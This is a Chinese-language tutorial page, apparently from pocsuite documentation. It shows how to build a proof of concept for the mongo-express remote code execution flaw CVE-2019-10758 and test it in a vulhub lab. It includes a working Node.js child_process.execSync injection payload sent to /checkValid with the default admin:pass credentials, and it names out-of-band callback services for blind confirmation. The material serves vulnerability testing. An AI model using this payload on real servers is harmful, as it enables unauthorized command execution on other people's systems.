Skip to content
On this page

mongo-express 认证远程代码执行漏洞(CVE-2019-10758)

漏洞细节:mongo-express远程代码执行漏洞(CVE-2019-10758)

Mongo-express 是一个基于 Node.js 和 express 的开源的 MongoDB Web 管理界面。mongo-express <= 0.53.0 版本存在认证远程代码执行漏洞。如果攻击者可以成功登录,或者目标服务器没有修改默认的账号密码(admin:pass),则可以执行任意 node.js 代码。

PoC 开发

使用 pocsuite --new 生成模版,由于该漏洞没有回显,我们使用 CEye 或者 Interactsh 等 DNSLog 服务来辅助验证。

Interactsh 是知名开源软件组织 projectdiscovery 开发的一款 DNSLog 工具,只要有一个域名,就可以快速搭建属于自己的 oob 服务。网上也有一些公开可用的,如:interact.sh, oast.pro, oast.live, oast.site, oast.online, oast.fun, oast.me

生成模版:

➜ pocsuite --new
...
-----
Seebug ssvid (eg, 99335) [0]: 98116
PoC author (eg, Seebug) []: Seebug
Vulnerability disclosure date (eg, 2021-8-18) [2022-7-11]: 2020-01-03
Advisory URL (eg, https://www.seebug.org/vuldb/ssvid-99335) [https://www.seebug.org/vuldb/ssvid-98116]:
Vulnerability CVE number (eg, CVE-2021-22123) []: CVE-2019-10758
Vendor name (eg, Fortinet) []:
Product or component name (eg, FortiWeb) []: mongo-express
Affected version (eg, <=6.4.0) []: <=0.53.0
Vendor homepage (eg, https://www.fortinet.com) []: https://github.com/mongo-express/mongo-express

0    Arbitrary File Read
1    Code Execution
2    Command Execution
3    Denial Of service
4    Information Disclosure
5    Login Bypass
6    Path Traversal
7    SQL Injection
8    SSRF
9    XSS

Vulnerability type, choose from above or provide (eg, 3) []: 1
Authentication Required (eg, yes) [no]: yes  # 漏洞需要认证
Can we get result of command (eg, yes) [no]: no  # 漏洞无回显
Out-of-band server to use (eg, interactsh) [ceye]: interactsh  # 选择使用哪个 oob 服务
...

根据漏洞细节,对模版进行简单修改:

     def _options(self):
         o = OrderedDict()
-        o['user'] = OptString('', description='The username to authenticate as', require=True)
-        o['pwd'] = OptString('', description='The password for the username', require=True)
+        o['user'] = OptString('admin', description='The username to authenticate as', require=True)
+        o['pwd'] = OptString('pass', description='The password for the username', require=True)
         o['cmd'] = OptString('uname -a', description='The command to execute')
         return o

     def _exploit(self, param=''):
-        if not self._check(dork=''):
+        if not self._check(dork='mongo-express='):
             return False

         user = self.get_option('user')
         pwd = self.get_option('pwd')
         headers = {'Content-Type': 'application/x-www-form-urlencoded'}
-        payload = 'a=b'
-        res = requests.post(self.url, headers=headers, data=payload)
+        payload = (
+            'document=this.constructor.constructor("return process")().'
+            f'mainModule.require("child_process").execSync("{param}")'
+        )
+        res = requests.post(f'{self.url}/checkValid', headers=headers, data=payload, auth=(user, pwd))
         logger.debug(res.text)
         return res.text

搭建靶场

使用 vulhub 搭建漏洞环境。

┌──(kali㉿kali)-[/tmp]
└─$ git clone https://github.com/vulhub/vulhub.git && cd vulhub/mongo-express/CVE-2019-10758 && docker-compose up -d
Cloning into 'vulhub'...
remote: Enumerating objects: 12574, done.
remote: Total 12574 (delta 0), reused 0 (delta 0), pack-reused 12574
Receiving objects: 100% (12574/12574), 139.45 MiB | 1015.00 KiB/s, done.
Resolving deltas: 100% (5003/5003), done.
Creating network "cve-2019-10758_default" with the default driver
Creating cve-2019-10758_mongo_1 ... done
Creating cve-2019-10758_web_1   ... done
                                                                                                                                                                                 
┌──(kali㉿kali)-[/tmp/vulhub/mongo-express/CVE-2019-10758]
└─$ curl -I localhost:8081
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 8199
ETag: W/"2007-KWtm8qZk7ZuiLlUF3uCj0lng5+Q"
Set-Cookie: mongo-express=s%3AaKAompVZQO7rTWLcDL0RqFa1FMt-ufPd.PTqXL2A%2BZm8I6o%2BT6Jz1xNLDTbbsJi1IS%2BmouRgrJns; Path=/; HttpOnly
Date: Thu, 14 Jul 2022 23:01:01 GMT
Connection: keep-alive
                                                                       

漏洞验证

通过命令行参数 --user admin --pwd pass --oob-server interact.sh 分别指定了用户名、密码、和使用的 DNSLog 服务地址,也可以不指定,使用默认值。

Released under the GPLv2 License.